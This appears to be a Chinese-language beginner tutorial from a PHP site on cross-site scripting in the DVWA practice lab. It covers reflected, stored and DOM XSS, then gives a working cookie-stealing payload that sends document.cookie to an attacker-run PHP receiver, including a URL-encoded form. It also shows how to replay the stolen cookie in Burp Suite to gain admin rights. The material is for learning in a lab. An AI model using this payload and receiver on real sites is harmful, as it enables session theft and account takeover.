首先,我们需要使用之前文章中搭建的dvwa靶场,如果还没有搭建的朋友可以点击这里查看教程。
本文旨在帮助初学者理解XSS(跨站脚本攻击)的原理和实际操作,希望大家认真学习。以下内容将通过实际操作进行讲解,而不是单纯的理论介绍。所以,请确保已经搭建好靶场。
一、几种XSS类型的讲解
XSS可以分为反射型、存储型和DOM型三种类型,下面我将逐一为大家介绍。
首先,将靶场难度调整到最低,以便于我们进行实验。

首先是反射型,反射型XSS是指插入的JS脚本只会在页面中弹出一次,刷新后不再出现,且不会保存在页面或数据库中。我们进入下图所示的页面,在输入框中输入代码。

我们来尝试一下,插入一个弹出框的JS代码。
alert('bai');
接下来是存储型,存储型XSS是指恶意的JS代码被插入到页面中并保存在页面或数据库中,只要访问该页面就会触发并执行JS代码。
最经典的例子是留言板功能,我们继续使用上述的JS弹窗代码进行实验。

我们在第一位置输入我们的JS代码,在第二位置被保存,然后在第三位置我们可以看到JS代码被带入页面中执行,刷新一下看看。

我们的JS代码直接被执行了。
最后是DOM型,DOM型XSS与反射型类似,但它们的区别在于一个是针对后台的,一个是基于前端的JS实现。DOM型XSS只在前端HTML代码中带入。

这里第一位置将参数传递给第二位置,如果未经过滤,我们就可以直接传入恶意JS。
以上是对三种XSS类型的简要介绍,如果还有不明白的地方,可能涉及到前端JS的一些内容,不会的朋友可以补习一下。
二、窃取用户cookie并保存到自己的服务器,使用cookie实现越权
首先介绍一下所需的环境。你需要一个接收服务器,可以使用虚拟机搭建一个,安装Apache即可,然后将下面写的页面放到Apache根目录。如果不会的朋友可以自行百度学习Linux下网站搭建,当然Windows也是可以的。我的服务器环境是Linux,下面都是以Linux为准。
要盗取cookie,首先要编写一个接收页面来保存接收到的cookie。这里我新建一个名为cookiein.php的文件,并写入以下代码。
<?php
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt', $cookie);
?>这表示将cookie保存到$cookie变量中,然后保存到cookie.txt文件中。
我们再创建一个cookie.txt文件。
touch cookie.txt
然后我们利用反射型XSS进行攻击,首先构造一个payload。我们的接收cookie的地址为:
https://www.php.cn/link/a320d0ae50c7ab5860cc5e4e420b61f3
所以我们构造的语句为:
document.location='https://www.php.cn/link/a320d0ae50c7ab5860cc5e4e420b61f3?cookie='+document.cookie;
我们可以将这个payload进行URL编码。
%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%34%33%2e%31%35%2f%63%6f%6f%6b%69%65%69%6e%2e%70%68%70%3f%63%6f%6f%6b%69%65%3d%27%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b%3c%2f%73%63%72%69%70%74%3e
然后我们将代码插入到URL中的参数name后面,和原本的URL拼接起来,利用反射型的XSS。
192.168.43.163/DVWA-master/vulnerabilities/xss_r/?name=%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%34%33%2e%31%35%2f%63%6f%6f%6b%69%65%69%6e%2e%70%68%70%3f%63%6f%6f%6b%69%65%3d%27%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b%3c%2f%73%63%72%69%70%74%3e
访问这个我们拼接后的URL,然后就会跳转到cookiein.php页面。

然后我们查看Kali中的cookie.txt文件就会看到已经保存了cookie。

我们成功盗取了cookie的值,接下来我们使用普通用户登录靶场,然后使用Burp Suite进行抓包来实现越权登录。
我们首先登录一个普通权限用户(提示:这里的普通账号是靶场自带的,可以自己去数据库查看)。
账号:smithy 密码:Password

然后我们打开Burp Suite进行抓包拦截,如果不熟悉Burp Suite的朋友可以自行百度学习。
我们刷新页面抓取一个包。

抓到cookie值后,我们将盗取的cookie复制到我们抓到的包中的cookie后面,并删除原本的cookie。


然后我们将包发送过去。

成功更换成了管理员的权限,实现了越权。
以上就是小白都能看懂的xss原理解析与窃取用户cookie并实现越权实战,看不懂拿板砖敲我!的详细内容,更多请关注php中文网其它相关文章!
每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号